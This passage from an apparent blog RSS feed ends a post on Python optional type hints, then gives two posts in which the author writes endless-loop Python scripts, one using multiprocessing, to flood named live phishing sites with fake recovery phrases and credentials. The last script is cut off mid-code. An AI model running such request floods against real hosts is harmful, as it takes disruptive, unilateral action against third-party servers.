<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">value</span><span class="p">:</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">value</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Both examples above are equivalent to each other. Both functions also accept <code>None</code> as a return type.</p>
<h2 id="examples">Examples</h2>
<p>Here are some useful examples showing optional type hints using the <code>typing</code> module and the shorthand notation.</p>
<h3 id="one-optional-type-hint">One Optional Type Hint</h3>
<p>A single optional type hint for an integer as an argument and as a return value looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Optional</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">num</span><span class="p">:</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And this is what the shorthand notation looks like:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">num</span><span class="p">:</span> <span class="nb">int</span> <span class="o">|</span> <span class="kc">None</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span> <span class="o">|</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">num</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>In the examples above, the <code>num</code> variable has to be an integer or <code>None</code>, and it has a default value of <code>0</code>. The return type has to be an integer or <code>None</code>.</p>
<h3 id="two-or-more-optional-type-hints">Two or More Optional Type Hints</h3>
<p>To specify two or more optional type hints, we need to import <code>Union</code> from the <code>typing</code> module.</p>
<p>In this example, the type hints indicate that either an integer, a string, or <code>None</code> can be assigned to the <code>data</code> input variable. The <code>data</code> variable has a default value of <code>None</code>.</p>
<p>The type hints also indicate that an integer, a string, or <code>None</code> can be returned.</p>
<p>Linters like 

<a href="https://mypy.readthedocs.io/en/stable/getting_started.html" target="_blank" rel="noopener">mypy</a> prefer an explicit <code>None</code> return value when <code>None</code> is a valid return type. That&rsquo;s why the examples have <code>return None</code> instead of just <code>return</code> at the end of the function.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Union</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">data</span><span class="p">:</span> <span class="n">Union</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">,</span> <span class="kc">None</span><span class="p">]</span> <span class="o">=</span> <span class="kc">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Union</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">,</span> <span class="kc">None</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kc">None</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And this is what the shorthand notation would look like in Python 3.10+:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">data</span><span class="p">:</span> <span class="nb">int</span> <span class="o">|</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span> <span class="o">=</span> <span class="kc">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span> <span class="o">|</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="kc">None</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Note:</strong></p><p>When using <code>Union</code>, it does not include the <code>None</code> type by default. Unlike <code>Optional</code>, which includes <code>None</code> by default.</p>
<p>If you want <code>None</code> to be included in <code>Union</code> you need to be explicit:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">Union</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="kc">None</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>With <code>Optional</code>, you don&rsquo;t need to be explicit:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">Optional</span><span class="p">[</span><span class="nb">int</span><span class="p">]</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<h3 id="mandatory-presence-of-two-or-more-optional-type-hints">Mandatory Presence of Two or More Optional Type Hints</h3>
<p>If you&rsquo;d like to create a type hint that specifies a function <em>must</em> return 2 or more types (as opposed to at least one of the specified types), you need to use tuples. In this case we import <code>Tuple</code> instead of <code>Union</code> and use it in the type hint:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Tuple</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">num</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">string</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&#34;Hello!&#34;</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">num</span><span class="p">,</span> <span class="n">string</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Tuples can also be used as type hints for function arguments. In the example below, the type of <code>values</code> must be a tuple consisting of an integer and a string. The default value is a tuple with <code>0</code> and an empty string <code>&quot;&quot;</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Tuple</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">values</span><span class="p">:</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">))</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">values</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>As of Python 3.9, there is a shorthand for tuple type hints. You can use <code>tuple</code> instead of importing <code>Tuple</code> from the <code>typing</code> module:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">example</span><span class="p">(</span><span class="n">values</span><span class="p">:</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">))</span> <span class="o">-&gt;</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">values</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<p>I am no expert in Python, so please refer to the official documentation for more information:</p>
<ul>
<li>

<a href="https://docs.python.org/3/library/typing.html" target="_blank" rel="noopener">https://docs.python.org/3/library/typing.html</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Hitting Back at Ledger Scammers With Python</title>
      <link>https://nelson.cloud/hitting-back-at-ledger-scammers-with-python/?ref=rss</link>
      <pubDate>Wed, 27 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/hitting-back-at-ledger-scammers-with-python/?ref=rss</guid>
      <description>Using a Python script to send fake data to a Ledger phishing site.</description><content:encoded><![CDATA[<h2 id="fake-ledger-email">Fake Ledger Email</h2>
<p>I recently received this email claiming to be from 

<a href="https://www.ledger.com/" target="_blank" rel="noopener">Ledger</a>. I immediately knew it was a scam.</p>
<img src="/ledger-scammers/scam-email.webp" alt="Email pretending to be from Ledger" width="720" height="675" style="max-width: 100%; height: auto; aspect-ratio: 1240 / 1164;" loading="lazy" decoding="async">
<p>I decided to take a peek at <code>vaultscanner.com</code> just for fun. The site looked like a genuine Ledger site. This site was created with more effort than other scam sites I&rsquo;ve seen.</p>
<img src="/ledger-scammers/fake-ledger-site.webp" alt="The fake Ledger website." width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>I clicked on a random Ledger device and it played a &ldquo;connecting&rdquo; animation.</p>
<img src="/ledger-scammers/connecting-device.webp" alt="Fake Ledger site showing a Ledger device connecting." width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>After that I got an error. It&rsquo;s obviously fake. How can my Ledger data be damaged if I didn&rsquo;t connect a Ledger device to begin with? I don&rsquo;t even own one.</p>
<img src="/ledger-scammers/fake-error.webp" alt="Fake error" width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>And of course, the site then prompts for the recovery phrase.</p>
<img src="/ledger-scammers/recovery-phrase-entry.webp" alt="Fake Ledger site asking for recovery phrase" width="720" height="417" style="max-width: 100%; height: auto; aspect-ratio: 3456 / 2004;" loading="lazy" decoding="async">
<p>I checked the browser dev tools to see where this phrase was going to. It was getting sent as a query string to <code>/data1.php</code> as a <code>POST</code> request.</p>
<img src="/ledger-scammers/dev-tools.webp" alt="Developer tools showing where the recovery phrase was sent" width="720" height="351" style="max-width: 100%; height: auto; aspect-ratio: 2302 / 1124;" loading="lazy" decoding="async">
<h2 id="writing-a-python-script">Writing a Python Script</h2>
<p>I had an idea to write a quick Python script to send fake data to the scammers. This is something I&rsquo;ve done in the past to MetaMask scammers: 

<a href="https://nelson.cloud/retaliating-against-metamask-scammers-with-python/">Retaliating Against MetaMask Scammers With Python</a>.</p>
<p>With some quick research, I found that the recovery phrases for Ledger devices are created using the same wordlist that MetaMask uses. I also learned that Ledger recovery phrases are 24 words long. With this information I was ready to start writing a script.</p>
<p>Here&rsquo;s the script I came up with:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">WORDLIST</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">requests_sent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># getting list of 24 random words</span>
</span></span><span class="line"><span class="cl">    <span class="n">recovery_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">WORDLIST</span><span class="p">,</span> <span class="mi">24</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># joining the list of 24 words into a single string</span>
</span></span><span class="line"><span class="cl">    <span class="n">recovery_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">recovery_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl">    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;privateKey&#34;</span><span class="p">:</span> <span class="n">recovery_phrase</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;token&#34;</span><span class="p">:</span> <span class="s2">&#34;Ledger&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># sending POST request</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;https://vaultscanner.com/data1.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">requests_sent</span> <span class="o">=</span> <span class="n">requests_sent</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Requests sent: </span><span class="si">{</span><span class="n">requests_sent</span><span class="si">}</span><span class="s2">, Status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">, Phrase sent: </span><span class="si">{</span><span class="n">recovery_phrase</span><span class="si">}</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I just let it run for a while to give the scammers a ton of fake data.</p>
<img src="/ledger-scammers/terminal.webp" alt="Terminal output when running Python script." width="720" height="307" style="max-width: 100%; height: auto; aspect-ratio: 3016 / 1290;" loading="lazy" decoding="async">
<p>I hope I made scamming/phishing more difficult for them :)</p>
]]></content:encoded>
    </item>
    <item>
      <title>Using Python to Flood Scammers with Fake Passwords</title>
      <link>https://nelson.cloud/using-python-to-flood-scammers-with-fake-passwords/?ref=rss</link>
      <pubDate>Sat, 02 Jul 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/using-python-to-flood-scammers-with-fake-passwords/?ref=rss</guid>
      <description>Creating a python script to flood scammers with fake credentials.</description><content:encoded><![CDATA[<h2 id="phishing-attempt-via-text-message">Phishing Attempt via Text Message</h2>
<p>Today, I received this text message that is obviously a phishing attempt:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/scam-text.webp" alt="Fake text received from scammers." width="720" height="351" style="max-width: 100%; height: auto; aspect-ratio: 888 / 434;" loading="lazy" decoding="async">
<br>
<p>I was curious, so I went ahead and checked out the site. It was a mediocre attempt at recreating the actual site.</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/phishing-site.webp" alt="The fake Citi bank phishing site." width="720" height="377" style="max-width: 100%; height: auto; aspect-ratio: 3570 / 1874;" loading="lazy" decoding="async">
<br>
<p>I opened my browser&rsquo;s dev tools to capture network activity. Then I submitted some made up credentials. Unsurprisingly, they didn&rsquo;t work:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/sign-in-fail.webp" alt="Failed sign in on the phishing site." width="720" height="286" style="max-width: 100%; height: auto; aspect-ratio: 1036 / 412;" loading="lazy" decoding="async">
<br>
<p>In the dev tools, I checked the headers tab to see that the requests were actually going to <code>https://toys-store.site/citi.php</code>:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/request-headers.webp" alt="Request headers showing where requests were being sent." width="720" height="333" style="max-width: 100%; height: auto; aspect-ratio: 2444 / 1132;" loading="lazy" decoding="async">
<br>
<p>I could also see my credentials in the payload:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/request-payload.webp" alt="Request payload showing fake credentials submitted." width="720" height="334" style="max-width: 100%; height: auto; aspect-ratio: 2446 / 1136;" loading="lazy" decoding="async">
<br>
<p>With this information, I could create a Python script to flood the scammers with fake credentials. This way, they won&rsquo;t know what credentials are valid when using them themselves.</p>
<h2 id="creating-a-python-script">Creating a Python Script</h2>
<p>My plan was to create a loop that would continuously send POST requests to the scammer site.
I wanted to speed up the amount of <code>POST</code> requests I could send at a time. I came across the 

<a href="https://docs.python.org/3/library/multiprocessing.html" target="_blank" rel="noopener">multiprocessing</a> package that could help me with that.
I also planned on using 

<a href="https://faker.readthedocs.io/" target="_blank" rel="noopener">Faker</a> to dynamically generate credentials.</p>
<p>I came up with the following code:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">multiprocessing</span> <span class="kn">import</span> <span class="n">Process</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://toys-store.site/citi.php&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># use the same request headers shown in the browser dev tools under the &#39;Network&#39; tab</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;*/*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.9&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="s2">&#34;69&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded; charset=UTF-8&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;toys-store.site&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mobilecitiauthorization.dns2.us&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mobilecitiauthorization.dns2.us/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;cross-site&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># infinite loop to send requests</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">send_post_request</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># dynamically generate request payload using Faker</span>
</span></span><span class="line"><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;usr&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;username&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;pwd&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;login&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;apitoken&#34;</span><span class="p">:</span> <span class="s2">&#34;o7y4jat0p65kd4h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># send post request with payload and headers</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># extract time from response headers to make it easier to see when requests are sent in the CLI</span>
</span></span><span class="line"><span class="cl">        <span class="n">time</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Date&#34;</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)[</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">time</span><span class="si">}</span><span class="s2"> -- Request sent. Status Code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># starts 25 different processes running this code</span>
